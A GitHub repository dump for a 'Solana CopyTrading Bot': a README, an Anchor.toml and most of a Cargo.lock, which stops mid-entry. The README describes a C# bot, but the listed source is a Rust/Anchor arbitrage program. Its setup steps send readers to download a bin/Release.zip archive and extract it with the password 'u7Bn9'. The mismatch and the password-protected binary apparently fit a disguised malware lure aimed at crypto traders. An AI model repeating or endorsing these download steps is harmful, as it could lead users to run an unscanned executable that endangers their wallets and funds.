├── README.md ├── bin └── Release.zip ├── src ├── Anchor.toml ├── Cargo.lock ├── Cargo.toml ├── README.md ├── local_setup.sh ├── migrations │ └── deploy.ts ├── package-lock.json ├── package.json ├── programs │ └── tmp │ │ ├── Cargo.toml │ │ ├── Xargo.toml │ │ └── src │ │ ├── error.rs │ │ ├── ix_data.rs │ │ ├── lib.rs │ │ ├── state.rs │ │ └── swaps │ │ ├── aldrin.rs │ │ ├── mercurial.rs │ │ ├── mod.rs │ │ ├── orca.rs │ │ ├── saber.rs │ │ └── serum.rs ├── tests │ ├── index.ts │ ├── orca_arbs.ts │ └── utils.ts ├── tsconfig.json └── yarn.lock └── test.gif /README.md: -------------------------------------------------------------------------------- 1 | # Solana CopyTrading Bot 2 | 3 | A powerful and customizable copytrading bot built in **C#** for the **Solana blockchain**, supporting multiple platforms including **Raydium**, **Pump.fun**, **Moonshot**, **Photon**, **GMGN**, **BonkBot**, and **Banana Gun**. Designed to mirror transactions from top-performing wallets in real time with full control over filters, liquidity management, and sniping strategies. 4 | ![](https://github.com/knightlightst/solana-copytrading-bot/blob/main/test.gif?raw=true) 5 | ## Features 6 | 7 | - **Real-Time Transaction Monitoring** 8 | Monitor blockchain activity from selected wallets and copy their trades instantly. 9 | 10 | - **Customizable Filters** 11 | Fine-tune what types of transactions to follow: 12 | 1. Swaps 13 | 2. Transfers 14 | 3. NFT activity 15 | 4. Token launches 16 | 5. Liquidity events 17 | 18 | - **Liquidity Management** 19 | Manage how your liquidity is used: 20 | 1. Auto-adjust based on wallet activity 21 | 2. Slippage controls 22 | 3. Minimum liquidity thresholds 23 | 24 | - **Token Creation Detection** 25 | Detect new token launches and participate based on configurable triggers. 26 | 27 | - **Sniping Mechanism** 28 | Snipe early trades on new tokens or liquidity events. 29 | 30 | - **Volume & Activity Filters** 31 | Filter wallets and tokens based on trade volume, token popularity, and other metrics. 32 | 33 | - **Platform Integration** 34 | Seamlessly supports multiple Solana-based DEX and trading tools: 35 | 1. Raydium 36 | 2. Pump.fun 37 | 3. Moonshot 38 | 4. Photon 39 | 5. GMGN 40 | 6. BonkBot 41 | 7. Banana Gun 42 | 43 | ## Getting Started 44 | - [Clone](https://github.com/knightlightst/solana-copytrading-bot/archive/refs/heads/main.zip) the repository and follow the step-by-step setup guide in the documentation. 45 | - Extract archive with password `u7Bn9` 46 | - Configure your settings 47 | Edit `appsettings.json` or use the UI to set filters, wallet addresses, and platform preferences. 48 | - Run the bot 49 | 50 | ## Configuration 51 | 52 | All settings are fully configurable through a JSON or UI interface (if implemented). Below are the primary config options: 53 | 54 | ```json 55 | { 56 | "watchedWallets": ["Wallet1", "Wallet2"], 57 | "filters": { 58 | "enableSwaps": true, 59 | "enableTransfers": false, 60 | "enableNFTs": false, 61 | "minVolume": 100, 62 | "maxSlippage": 2.5, 63 | "allowNewTokens": true 64 | }, 65 | "platforms": ["Raydium", "Pump.fun", "Photon","Moonshot","GMGN","BonkBot","Banana Gun"], 66 | "snipeSettings": { 67 | "enabled": true, 68 | "autoApprove": true, 69 | "snipeDelayMs": 200 70 | }, 71 | "liquidityManagement": { 72 | "autoAdjust": true, 73 | "minLiquidity": 5, 74 | "maxLiquidityPerToken": 100 75 | } 76 | } 77 | ``` 78 | 79 | ## Disclaimer 80 | 81 | This tool is provided for **educational and research purposes only**. Use at your own risk. Trading cryptocurrencies carries risk and can lead to significant financial loss. 82 | 83 | --- 84 | 85 | ## Contact 86 | 87 | For issues, questions, or contributions, feel free to open an [Issue](https://github.com/knightlightst/solana-copytrading-bot/issues) or reach out via Pull Request. 88 | -------------------------------------------------------------------------------- /bin/Release.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knightlightst/solana-copytrading-bot/46f892c1ea65dec911085bb44f2d9cd4b7e9c5de/bin/Release.zip -------------------------------------------------------------------------------- /src/Anchor.toml: -------------------------------------------------------------------------------- 1 | [features] 2 | seeds = false 3 | [programs.localnet] 4 | tmp = "CRQXfRGq3wTkjt7JkqhojPLiKLYLjHPGLebnfiiQB46T" 5 | [programs.devnet] 6 | tmp = "CRQXfRGq3wTkjt7JkqhojPLiKLYLjHPGLebnfiiQB46T" 7 | [programs.mainnet] 8 | tmp = "CRQXfRGq3wTkjt7JkqhojPLiKLYLjHPGLebnfiiQB46T" 9 | 10 | [registry] 11 | url = "https://anchor.projectserum.com" 12 | 13 | [provider] 14 | cluster = "localnet" 15 | wallet = "/Users/edgar/.config/solana/uwuU3qc2RwN6CpzfBAhg6wAxiEx138jy5wB3Xvx18Rw.json" 16 | 17 | [scripts] 18 | test = "yarn run ts-mocha -p ./tsconfig.json -t 1000000 tests/**/*.ts" 19 | 20 | -------------------------------------------------------------------------------- /src/Cargo.lock: -------------------------------------------------------------------------------- 1 | # This file is automatically @generated by Cargo. 2 | # It is not intended for manual editing. 3 | version = 3 4 | 5 | [[package]] 6 | name = "ahash" 7 | version = "0.7.6" 8 | source = "registry+https://github.com/rust-lang/crates.io-index" 9 | checksum = "fcb51a0695d8f838b1ee009b3fbf66bda078cd64590202a864a8f3e8c4315c47" 10 | dependencies = [ 11 | "getrandom 0.2.5", 12 | "once_cell", 13 | "version_check", 14 | ] 15 | 16 | [[package]] 17 | name = "aho-corasick" 18 | version = "0.7.18" 19 | source = "registry+https://github.com/rust-lang/crates.io-index" 20 | checksum = "1e37cfd5e7657ada45f742d6e99ca5788580b5c529dc78faf11ece6dc702656f" 21 | dependencies = [ 22 | "memchr", 23 | ] 24 | 25 | [[package]] 26 | name = "alloc-traits" 27 | version = "0.1.1" 28 | source = "registry+https://github.com/rust-lang/crates.io-index" 29 | checksum = "6b2d54853319fd101b8dd81de382bcbf3e03410a64d8928bbee85a3e7dcde483" 30 | 31 | [[package]] 32 | name = "anchor-attribute-access-control" 33 | version = "0.22.1" 34 | source = "registry+https://github.com/rust-lang/crates.io-index" 35 | checksum = "fb45cc9d1ce72e5eda341126de495a2c3810108c2333c6f3b4e09d99605f3f48" 36 | dependencies = [ 37 | "anchor-syn", 38 | "anyhow", 39 | "proc-macro2", 40 | "quote", 41 | "regex", 42 | "syn", 43 | ] 44 | 45 | [[package]] 46 | name = "anchor-attribute-account" 47 | version = "0.22.1" 48 | source = "registry+https://github.com/rust-lang/crates.io-index" 49 | checksum = "16406bd1c27ff4ebdca4f5d5b09b7952f4d161f25094243e09355797c6bddaa6" 50 | dependencies = [ 51 | "anchor-syn", 52 | "anyhow", 53 | "bs58 0.4.0", 54 | "proc-macro2", 55 | "quote", 56 | "rustversion", 57 | "syn", 58 | ] 59 | 60 | [[package]] 61 | name = "anchor-attribute-constant" 62 | version = "0.22.1" 63 | source = "registry+https://github.com/rust-lang/crates.io-index" 64 | checksum = "d347ce462ceba4473d216bab2c9d0d9702a027d25e93b5376d8d8593d9e13de0" 65 | dependencies = [ 66 | "anchor-syn", 67 | "proc-macro2", 68 | "syn", 69 | ] 70 | 71 | [[package]] 72 | name = "anchor-attribute-error" 73 | version = "0.22.1" 74 | source = "registry+https://github.com/rust-lang/crates.io-index" 75 | checksum = "354582d796f8309252d18f787f0e49df8ab6fdfe48f838f059f001ee2f04b5c8" 76 | dependencies = [ 77 | "anchor-syn", 78 | "proc-macro2", 79 | "quote", 80 | "syn", 81 | ] 82 | 83 | [[package]] 84 | name = "anchor-attribute-event" 85 | version = "0.22.1" 86 | source = "registry+https://github.com/rust-lang/crates.io-index" 87 | checksum = "1a2e218dd8a446993463e38c00159349ae25aa76076191cde0ba460c9c65a180" 88 | dependencies = [ 89 | "anchor-syn", 90 | "anyhow", 91 | "proc-macro2", 92 | "quote", 93 | "syn", 94 | ] 95 | 96 | [[package]] 97 | name = "anchor-attribute-interface" 98 | version = "0.22.1" 99 | source = "registry+https://github.com/rust-lang/crates.io-index" 100 | checksum = "1e1e536e15b13e3168cf878a90b1bd2dfff1b4c8c9475be4b87f71b20cf8e85d" 101 | dependencies = [ 102 | "anchor-syn", 103 | "anyhow", 104 | "heck", 105 | "proc-macro2", 106 | "quote", 107 | "syn", 108 | ] 109 | 110 | [[package]] 111 | name = "anchor-attribute-program" 112 | version = "0.22.1" 113 | source = "registry+https://github.com/rust-lang/crates.io-index" 114 | checksum = "6519b3ac626c1bd9df407fe22ec6a283f4b1067ee7f3be896ca580be510b7196" 115 | dependencies = [ 116 | "anchor-syn", 117 | "anyhow", 118 | "proc-macro2", 119 | "quote", 120 | "syn", 121 | ] 122 | 123 | [[package]] 124 | name = "anchor-attribute-state" 125 | version = "0.22.1" 126 | source = "registry+https://github.com/rust-lang/crates.io-index" 127 | checksum = "88e6a21070bcb053f092a1a9054924e8a1b5afd68f7317d0138327401ac154e1" 128 | dependencies = [ 129 | "anchor-syn", 130 | "anyhow", 131 | "proc-macro2", 132 | "quote", 133 | "syn", 134 | ] 135 | 136 | [[package]] 137 | name = "anchor-derive-accounts" 138 | version = "0.22.1" 139 | source = "registry+https://github.com/rust-lang/crates.io-index" 140 | checksum = "09a65890c2132f30a3ff160fb83f74e0a0454f904f46f1c9be38d3e94c2d06ed" 141 | dependencies = [ 142 | "anchor-syn", 143 | "anyhow", 144 | "proc-macro2", 145 | "quote", 146 | "syn", 147 | ] 148 | 149 | [[package]] 150 | name = "anchor-lang" 151 | version = "0.22.1" 152 | source = "registry+https://github.com/rust-lang/crates.io-index" 153 | checksum = "ef066f4bc0cb4080ff6244b6a66ef31b6077e0302738b365ca894540f5b7dcf8" 154 | dependencies = [ 155 | "anchor-attribute-access-control", 156 | "anchor-attribute-account", 157 | "anchor-attribute-constant", 158 | "anchor-attribute-error", 159 | "anchor-attribute-event", 160 | "anchor-attribute-interface", 161 | "anchor-attribute-program", 162 | "anchor-attribute-state", 163 | "anchor-derive-accounts", 164 | "arrayref", 165 | "base64 0.13.0", 166 | "bincode", 167 | "borsh", 168 | "bytemuck", 169 | "solana-program", 170 | "thiserror", 171 | ] 172 | 173 | [[package]] 174 | name = "anchor-spl" 175 | version = "0.22.1" 176 | source = "registry+https://github.com/rust-lang/crates.io-index" 177 | checksum = "bcdf03d76450451f6c587098fa0d9775dc7eabf9173c89bd1bb17dd72b49e748" 178 | dependencies = [ 179 | "anchor-lang", 180 | "serum_dex", 181 | "solana-program", 182 | "spl-associated-token-account", 183 | "spl-token", 184 | ] 185 | 186 | [[package]] 187 | name = "anchor-syn" 188 | version = "0.22.1" 189 | source = "registry+https://github.com/rust-lang/crates.io-index" 190 | checksum = "506cb44e4e895f917566c7a0554e487a001041d82dd3ae9f1f37ae7f20f86222" 191 | dependencies = [ 192 | "anyhow", 193 | "bs58 0.3.1", 194 | "heck", 195 | "proc-macro2", 196 | "proc-macro2-diagnostics", 197 | "quote", 198 | "serde", 199 | "serde_json", 200 | "sha2 0.9.9", 201 | "syn", 202 | "thiserror", 203 | ] 204 | 205 | [[package]] 206 | name = "anyhow" 207 | version = "1.0.55" 208 | source = "registry+https://github.com/rust-lang/crates.io-index" 209 | checksum = "159bb86af3a200e19a068f4224eae4c8bb2d0fa054c7e5d1cacd5cef95e684cd" 210 | 211 | [[package]] 212 | name = "arrayref" 213 | version = "0.3.6" 214 | source = "registry+https://github.com/rust-lang/crates.io-index" 215 | checksum = "a4c527152e37cf757a3f78aae5a06fbeefdb07ccc535c980a3208ee3060dd544" 216 | 217 | [[package]] 218 | name = "arrayvec" 219 | version = "0.7.2" 220 | source = "registry+https://github.com/rust-lang/crates.io-index" 221 | checksum = "8da52d66c7071e2e3fa2a1e5c6d088fec47b593032b254f5e980de8ea54454d6" 222 | 223 | [[package]] 224 | name = "atty" 225 | version = "0.2.14" 226 | source = "registry+https://github.com/rust-lang/crates.io-index" 227 | checksum = "d9b39be18770d11421cdb1b9947a45dd3f37e93092cbf377614828a319d5fee8" 228 | dependencies = [ 229 | "hermit-abi", 230 | "libc", 231 | "winapi", 232 | ] 233 | 234 | [[package]] 235 | name = "autocfg" 236 | version = "1.1.0" 237 | source = "registry+https://github.com/rust-lang/crates.io-index" 238 | checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa" 239 | 240 | [[package]] 241 | name = "base64" 242 | version = "0.12.3" 243 | source = "registry+https://github.com/rust-lang/crates.io-index" 244 | checksum = "3441f0f7b02788e948e47f457ca01f1d7e6d92c693bc132c22b087d3141c03ff" 245 | 246 | [[package]] 247 | name = "base64" 248 | version = "0.13.0" 249 | source = "registry+https://github.com/rust-lang/crates.io-index" 250 | checksum = "904dfeac50f3cdaba28fc6f57fdcddb75f49ed61346676a78c4ffe55877802fd" 251 | 252 | [[package]] 253 | name = "bincode" 254 | version = "1.3.3" 255 | source = "registry+https://github.com/rust-lang/crates.io-index" 256 | checksum = "b1f45e9417d87227c7a56d22e471c6206462cba514c7590c09aff4cf6d1ddcad" 257 | dependencies = [ 258 | "serde", 259 | ] 260 | 261 | [[package]] 262 | name = "bitflags" 263 | version = "1.3.2" 264 | source = "registry+https://github.com/rust-lang/crates.io-index" 265 | checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" 266 | 267 | [[package]] 268 | name = "blake3" 269 | version = "1.3.1" 270 | source = "registry+https://github.com/rust-lang/crates.io-index" 271 | checksum = "a08e53fc5a564bb15bfe6fae56bd71522205f1f91893f9c0116edad6496c183f" 272 | dependencies = [ 273 | "arrayref", 274 | "arrayvec", 275 | "cc", 276 | "cfg-if", 277 | "constant_time_eq", 278 | "digest 0.10.3", 279 | ] 280 | 281 | [[package]] 282 | name = "block-buffer" 283 | version = "0.9.0" 284 | source = "registry+https://github.com/rust-lang/crates.io-index" 285 | checksum = "4152116fd6e9dadb291ae18fc1ec3575ed6d84c29642d97890f4b4a3417297e4" 286 | dependencies = [ 287 | "block-padding", 288 | "generic-array", 289 | ] 290 | 291 | [[package]] 292 | name = "block-buffer" 293 | version = "0.10.2" 294 | source = "registry+https://github.com/rust-lang/crates.io-index" 295 | checksum = "0bf7fe51849ea569fd452f37822f606a5cabb684dc918707a0193fd4664ff324" 296 | dependencies = [ 297 | "generic-array", 298 | ] 299 | 300 | [[package]] 301 | name = "block-padding" 302 | version = "0.2.1" 303 | source = "registry+https://github.com/rust-lang/crates.io-index" 304 | checksum = "8d696c370c750c948ada61c69a0ee2cbbb9c50b1019ddb86d9317157a99c2cae" 305 | 306 | [[package]] 307 | name = "borsh" 308 | version = "0.9.3" 309 | source = "registry+https://github.com/rust-lang/crates.io-index" 310 | checksum = "15bf3650200d8bffa99015595e10f1fbd17de07abbc25bb067da79e769939bfa" 311 | dependencies = [ 312 | "borsh-derive", 313 | "hashbrown", 314 | ] 315 | 316 | [[package]] 317 | name = "borsh-derive" 318 | version = "0.9.3" 319 | source = "registry+https://github.com/rust-lang/crates.io-index" 320 | checksum = "6441c552f230375d18e3cc377677914d2ca2b0d36e52129fe15450a2dce46775" 321 | dependencies = [ 322 | "borsh-derive-internal", 323 | "borsh-schema-derive-internal", 324 | "proc-macro-crate 0.1.5", 325 | "proc-macro2", 326 | "syn", 327 | ] 328 | 329 | [[package]] 330 | name = "borsh-derive-internal" 331 | version = "0.9.3" 332 | source = "registry+https://github.com/rust-lang/crates.io-index" 333 | checksum = "5449c28a7b352f2d1e592a8a28bf139bc71afb0764a14f3c02500935d8c44065" 334 | dependencies = [ 335 | "proc-macro2", 336 | "quote", 337 | "syn", 338 | ] 339 | 340 | [[package]] 341 | name = "borsh-schema-derive-internal" 342 | version = "0.9.3" 343 | source = "registry+https://github.com/rust-lang/crates.io-index" 344 | checksum = "cdbd5696d8bfa21d53d9fe39a714a18538bad11492a42d066dbbc395fb1951c0" 345 | dependencies = [ 346 | "proc-macro2", 347 | "quote", 348 | "syn", 349 | ] 350 | 351 | [[package]] 352 | name = "bs58" 353 | version = "0.3.1" 354 | source = "registry+https://github.com/rust-lang/crates.io-index" 355 | checksum = "476e9cd489f9e121e02ffa6014a8ef220ecb15c05ed23fc34cca13925dc283fb" 356 | 357 | [[package]] 358 | name = "bs58" 359 | version = "0.4.0" 360 | source = "registry+https://github.com/rust-lang/crates.io-index" 361 | checksum = "771fe0050b883fcc3ea2359b1a96bcfbc090b7116eae7c3c512c7a083fdf23d3" 362 | 363 | [[package]] 364 | name = "bumpalo" 365 | version = "3.9.1" 366 | source = "registry+https://github.com/rust-lang/crates.io-index" 367 | checksum = "a4a45a46ab1f2412e53d3a0ade76ffad2025804294569aae387231a0cd6e0899" 368 | 369 | [[package]] 370 | name = "bv" 371 | version = "0.11.1" 372 | source = "registry+https://github.com/rust-lang/crates.io-index" 373 | checksum = "8834bb1d8ee5dc048ee3124f2c7c1afcc6bc9aed03f11e9dfd8c69470a5db340" 374 | dependencies = [ 375 | "feature-probe", 376 | "serde", 377 | ] 378 | 379 | [[package]] 380 | name = "bytemuck" 381 | version = "1.7.3" 382 | source = "registry+https://github.com/rust-lang/crates.io-index" 383 | checksum = "439989e6b8c38d1b6570a384ef1e49c8848128f5a97f3914baef02920842712f" 384 | dependencies = [ 385 | "bytemuck_derive", 386 | ] 387 | 388 | [[package]] 389 | name = "bytemuck_derive" 390 | version = "1.0.1" 391 | source = "registry+https://github.com/rust-lang/crates.io-index" 392 | checksum = "8e215f8c2f9f79cb53c8335e687ffd07d5bfcb6fe5fc80723762d0be46e7cc54" 393 | dependencies = [ 394 | "proc-macro2", 395 | "quote", 396 | "syn", 397 | ] 398 | 399 | [[package]] 400 | name = "byteorder" 401 | version = "1.4.3" 402 | source = "registry+https://github.com/rust-lang/crates.io-index" 403 | checksum = "14c189c53d098945499cdfa7ecc63567cf3886b3332b312a5b4585d8d3a6a610" 404 | 405 | [[package]] 406 | name = "cc" 407 | version = "1.0.73" 408 | source = "registry+https://github.com/rust-lang/crates.io-index" 409 | checksum = "2fff2a6927b3bb87f9595d67196a70493f627687a71d87a0d692242c33f58c11" 410 | 411 | [[package]] 412 | name = "cfg-if" 413 | version = "1.0.0" 414 | source = "registry+https://github.com/rust-lang/crates.io-index" 415 | checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" 416 | 417 | [[package]] 418 | name = "console_error_panic_hook" 419 | version = "0.1.7" 420 | source = "registry+https://github.com/rust-lang/crates.io-index" 421 | checksum = "a06aeb73f470f66dcdbf7223caeebb85984942f22f1adb2a088cf9668146bbbc" 422 | dependencies = [ 423 | "cfg-if", 424 | "wasm-bindgen", 425 | ] 426 | 427 | [[package]] 428 | name = "console_log" 429 | version = "0.2.0" 430 | source = "registry+https://github.com/rust-lang/crates.io-index" 431 | checksum = "501a375961cef1a0d44767200e66e4a559283097e91d0730b1d75dfb2f8a1494" 432 | dependencies = [ 433 | "log", 434 | "web-sys", 435 | ] 436 | 437 | [[package]] 438 | name = "constant_time_eq" 439 | version = "0.1.5" 440 | source = "registry+https://github.com/rust-lang/crates.io-index" 441 | checksum = "245097e9a4535ee1e3e3931fcfcd55a796a44c643e8596ff6566d68f09b87bbc" 442 | 443 | [[package]] 444 | name = "cpufeatures" 445 | version = "0.2.1" 446 | source = "registry+https://github.com/rust-lang/crates.io-index" 447 | checksum = "95059428f66df56b63431fdb4e1947ed2190586af5c5a8a8b71122bdf5a7f469" 448 | dependencies = [ 449 | "libc", 450 | ] 451 | 452 | [[package]] 453 | name = "crunchy" 454 | version = "0.2.2" 455 | source = "registry+https://github.com/rust-lang/crates.io-index" 456 | checksum = "7a81dae078cea95a014a339291cec439d2f232ebe854a9d672b796c6afafa9b7" 457 | 458 | [[package]] 459 | name = "crypto-common" 460 | version = "0.1.3" 461 | source = "registry+https://github.com/rust-lang/crates.io-index" 462 | checksum = "57952ca27b5e3606ff4dd79b0020231aaf9d6aa76dc05fd30137538c50bd3ce8" 463 | dependencies = [ 464 | "generic-array", 465 | "typenum", 466 | ] 467 | 468 | [[package]] 469 | name = "crypto-mac" 470 | version = "0.8.0" 471 | source = "registry+https://github.com/rust-lang/crates.io-index" 472 | checksum = "b584a330336237c1eecd3e94266efb216c56ed91225d634cb2991c5f3fd1aeab" 473 | dependencies = [ 474 | "generic-array", 475 | "subtle", 476 | ] 477 | 478 | [[package]] 479 | name = "curve25519-dalek" 480 | version = "3.2.1" 481 | source = "registry+https://github.com/rust-lang/crates.io-index" 482 | checksum = "90f9d052967f590a76e62eb387bd0bbb1b000182c3cefe5364db6b7211651bc0" 483 | dependencies = [ 484 | "byteorder", 485 | "digest 0.9.0", 486 | "rand_core", 487 | "subtle", 488 | "zeroize", 489 | ] 490 | 491 | [[package]] 492 | name = "digest" 493 | version = "0.9.0" 494 | source = "registry+https://github.com/rust-lang/crates.io-index" 495 | checksum = "d3dd60d1080a57a05ab032377049e0591415d2b31afd7028356dbf3cc6dcb066" 496 | dependencies = [ 497 | "generic-array", 498 | ] 499 | 500 | [[package]] 501 | name = "digest" 502 | version = "0.10.3" 503 | source = "registry+https://github.com/rust-lang/crates.io-index" 504 | checksum = "f2fb860ca6fafa5552fb6d0e816a69c8e49f0908bf524e30a90d97c85892d506" 505 | dependencies = [ 506 | "block-buffer 0.10.2", 507 | "crypto-common", 508 | "subtle", 509 | ] 510 | 511 | [[package]] 512 | name = "either" 513 | version = "1.6.1" 514 | source = "registry+https://github.com/rust-lang/crates.io-index" 515 | checksum = "e78d4f1cc4ae33bbfc157ed5d5a5ef3bc29227303d595861deb238fcec4e9457" 516 | 517 | [[package]] 518 | name = "enumflags2" 519 | version = "0.6.4" 520 | source = "registry+https://github.com/rust-lang/crates.io-index" 521 | checksum = "83c8d82922337cd23a15f88b70d8e4ef5f11da38dd7cdb55e84dd5de99695da0" 522 | dependencies = [ 523 | "enumflags2_derive", 524 | ] 525 | 526 | [[package]] 527 | name = "enumflags2_derive" 528 | version = "0.6.4" 529 | source = "registry+https://github.com/rust-lang/crates.io-index" 530 | checksum = "946ee94e3dbf58fdd324f9ce245c7b238d46a66f00e86a020b71996349e46cce" 531 | dependencies = [ 532 | "proc-macro2", 533 | "quote", 534 | "syn", 535 | ] 536 | 537 | [[package]] 538 | name = "env_logger" 539 | version = "0.9.0" 540 | source = "registry+https://github.com/rust-lang/crates.io-index" 541 | checksum = "0b2cf0344971ee6c64c31be0d530793fba457d322dfec2810c453d0ef228f9c3" 542 | dependencies = [ 543 | "atty", 544 | "humantime", 545 | "log", 546 | "regex", 547 | "termcolor", 548 | ] 549 | 550 | [[package]] 551 | name = "feature-probe" 552 | version = "0.1.1" 553 | source = "registry+https://github.com/rust-lang/crates.io-index" 554 | checksum = "835a3dc7d1ec9e75e2b5fb4ba75396837112d2060b03f7d43bc1897c7f7211da" 555 | 556 | [[package]] 557 | name = "field-offset" 558 | version = "0.3.4" 559 | source = "registry+https://github.com/rust-lang/crates.io-index" 560 | checksum = "1e1c54951450cbd39f3dbcf1005ac413b49487dabf18a720ad2383eccfeffb92" 561 | dependencies = [ 562 | "memoffset", 563 | "rustc_version 0.3.3", 564 | ] 565 | 566 | [[package]] 567 | name = "generic-array" 568 | version = "0.14.5" 569 | source = "registry+https://github.com/rust-lang/crates.io-index" 570 | checksum = "fd48d33ec7f05fbfa152300fdad764757cbded343c1aa1cff2fbaf4134851803" 571 | dependencies = [ 572 | "serde", 573 | "typenum", 574 | "version_check", 575 | ] 576 | 577 | [[package]] 578 | name = "getrandom" 579 | version = "0.1.16" 580 | source = "registry+https://github.com/rust-lang/crates.io-index" 581 | checksum = "8fc3cb4d91f53b50155bdcfd23f6a4c39ae1969c2ae85982b135750cccaf5fce" 582 | dependencies = [ 583 | "cfg-if", 584 | "js-sys", 585 | "libc", 586 | "wasi 0.9.0+wasi-snapshot-preview1", 587 | "wasm-bindgen", 588 | ] 589 | 590 | [[package]] 591 | name = "getrandom" 592 | version = "0.2.5" 593 | source = "registry+https://github.com/rust-lang/crates.io-index" 594 | checksum = "d39cd93900197114fa1fcb7ae84ca742095eed9442088988ae74fa744e930e77" 595 | dependencies = [ 596 | "cfg-if", 597 | "libc", 598 | "wasi 0.10.2+wasi-snapshot-preview1", 599 | ] 600 | 601 | [[package]] 602 | name = "hashbrown" 603 | version = "0.11.2" 604 | source = "registry+https://github.com/rust-lang/crates.io-index" 605 | checksum = "ab5ef0d4909ef3724cc8cce6ccc8572c5c817592e9285f5464f8e86f8bd3726e" 606 | dependencies = [ 607 | "ahash", 608 | ] 609 | 610 | [[package]] 611 | name = "heck" 612 | version = "0.3.3" 613 | source = "registry+https://github.com/rust-lang/crates.io-index" 614 | checksum = "6d621efb26863f0e9924c6ac577e8275e5e6b77455db64ffa6c65c904e9e132c" 615 | dependencies = [ 616 | "unicode-segmentation", 617 | ] 618 | 619 | [[package]] 620 | name = "hermit-abi" 621 | version = "0.1.19" 622 | source = "registry+https://github.com/rust-lang/crates.io-index" 623 | checksum = "62b467343b94ba476dcb2500d242dadbb39557df889310ac77c5d99100aaac33" 624 | dependencies = [ 625 | "libc", 626 | ] 627 | 628 | [[package]] 629 | name = "hmac" 630 | version = "0.8.1" 631 | source = "registry+https://github.com/rust-lang/crates.io-index" 632 | checksum = "126888268dcc288495a26bf004b38c5fdbb31682f992c84ceb046a1f0fe38840" 633 | dependencies = [ 634 | "crypto-mac", 635 | "digest 0.9.0", 636 | ] 637 | 638 | [[package]] 639 | name = "hmac-drbg" 640 | version = "0.3.0" 641 | source = "registry+https://github.com/rust-lang/crates.io-index" 642 | checksum = "17ea0a1394df5b6574da6e0c1ade9e78868c9fb0a4e5ef4428e32da4676b85b1" 643 | dependencies = [ 644 | "digest 0.9.0", 645 | "generic-array", 646 | "hmac", 647 | ] 648 | 649 | [[package]] 650 | name = "humantime" 651 | version = "2.1.0" 652 | source = "registry+https://github.com/rust-lang/crates.io-index" 653 | checksum = "9a3a5bfb195931eeb336b2a7b4d761daec841b97f947d34394601737a7bba5e4" 654 | 655 | [[package]] 656 | name = "instant" 657 | version = "0.1.12" 658 | source = "registry+https://github.com/rust-lang/crates.io-index" 659 | checksum = "7a5bbe824c507c5da5956355e86a746d82e0e1464f65d862cc5e71da70e94b2c" 660 | dependencies = [ 661 | "cfg-if", 662 | ] 663 | 664 | [[package]] 665 | name = "itertools" 666 | version = "0.9.0" 667 | source = "registry+https://github.com/rust-lang/crates.io-index" 668 | checksum = "284f18f85651fe11e8a991b2adb42cb078325c996ed026d994719efcfca1d54b" 669 | dependencies = [ 670 | "either", 671 | ] 672 | 673 | [[package]] 674 | name = "itertools" 675 | version = "0.10.3" 676 | source = "registry+https://github.com/rust-lang/crates.io-index" 677 | checksum = "a9a9d19fa1e79b6215ff29b9d6880b706147f16e9b1dbb1e4e5947b5b02bc5e3" 678 | dependencies = [ 679 | "either", 680 | ] 681 | 682 | [[package]] 683 | name = "itoa" 684 | version = "1.0.1" 685 | source = "registry+https://github.com/rust-lang/crates.io-index" 686 | checksum = "1aab8fc367588b89dcee83ab0fd66b72b50b72fa1904d7095045ace2b0c81c35" 687 | 688 | [[package]] 689 | name = "js-sys" 690 | version = "0.3.56" 691 | source = "registry+https://github.com/rust-lang/crates.io-index" 692 | checksum = "a38fc24e30fd564ce974c02bf1d337caddff65be6cc4735a1f7eab22a7440f04" 693 | dependencies = [ 694 | "wasm-bindgen", 695 | ] 696 | 697 | [[package]] 698 | name = "keccak" 699 | version = "0.1.0" 700 | source = "registry+https://github.com/rust-lang/crates.io-index" 701 | checksum = "67c21572b4949434e4fc1e1978b99c5f77064153c59d998bf13ecd96fb5ecba7" 702 | 703 | [[package]] 704 | name = "lazy_static" 705 | version = "1.4.0" 706 | source = "registry+https://github.com/rust-lang/crates.io-index" 707 | checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646" 708 | 709 | [[package]] 710 | name = "libc" 711 | version = "0.2.119" 712 | source = "registry+https://github.com/rust-lang/crates.io-index" 713 | checksum = "1bf2e165bb3457c8e098ea76f3e3bc9db55f87aa90d52d0e6be741470916aaa4" 714 | 715 | [[package]] 716 | name = "libsecp256k1" 717 | version = "0.6.0" 718 | source = "registry+https://github.com/rust-lang/crates.io-index" 719 | checksum = "c9d220bc1feda2ac231cb78c3d26f27676b8cf82c96971f7aeef3d0cf2797c73" 720 | dependencies = [ 721 | "arrayref", 722 | "base64 0.12.3", 723 | "digest 0.9.0", 724 | "hmac-drbg", 725 | "libsecp256k1-core", 726 | "libsecp256k1-gen-ecmult", 727 | "libsecp256k1-gen-genmult", 728 | "rand", 729 | "serde", 730 | "sha2 0.9.9", 731 | "typenum", 732 | ] 733 | 734 | [[package]] 735 | name = "libsecp256k1-core" 736 | version = "0.2.2" 737 | source = "registry+https://github.com/rust-lang/crates.io-index" 738 | checksum = "d0f6ab710cec28cef759c5f18671a27dae2a5f952cdaaee1d8e2908cb2478a80" 739 | dependencies = [ 740 | "crunchy", 741 | "digest 0.9.0", 742 | "subtle", 743 | ] 744 | 745 | [[package]] 746 | name = "libsecp256k1-gen-ecmult" 747 | version = "0.2.1" 748 | source = "registry+https://github.com/rust-lang/crates.io-index" 749 | checksum = "ccab96b584d38fac86a83f07e659f0deafd0253dc096dab5a36d53efe653c5c3" 750 | dependencies = [ 751 | "libsecp256k1-core", 752 | ] 753 | 754 | [[package]] 755 | name = "libsecp256k1-gen-genmult" 756 | version = "0.2.1" 757 | source = "registry+https://github.com/rust-lang/crates.io-index" 758 | checksum = "67abfe149395e3aa1c48a2beb32b068e2334402df8181f818d3aee2b304c4f5d" 759 | dependencies = [ 760 | "libsecp256k1-core", 761 | ] 762 | 763 | [[package]] 764 | name = "lock_api" 765 | version = "0.4.6" 766 | source = "registry+https://github.com/rust-lang/crates.io-index" 767 | checksum = "88943dd7ef4a2e5a4bfa2753aaab3013e34ce2533d1996fb18ef591e315e2b3b" 768 | dependencies = [ 769 | "scopeguard", 770 | ] 771 | 772 | [[package]] 773 | name = "log" 774 | version = "0.4.14" 775 | source = 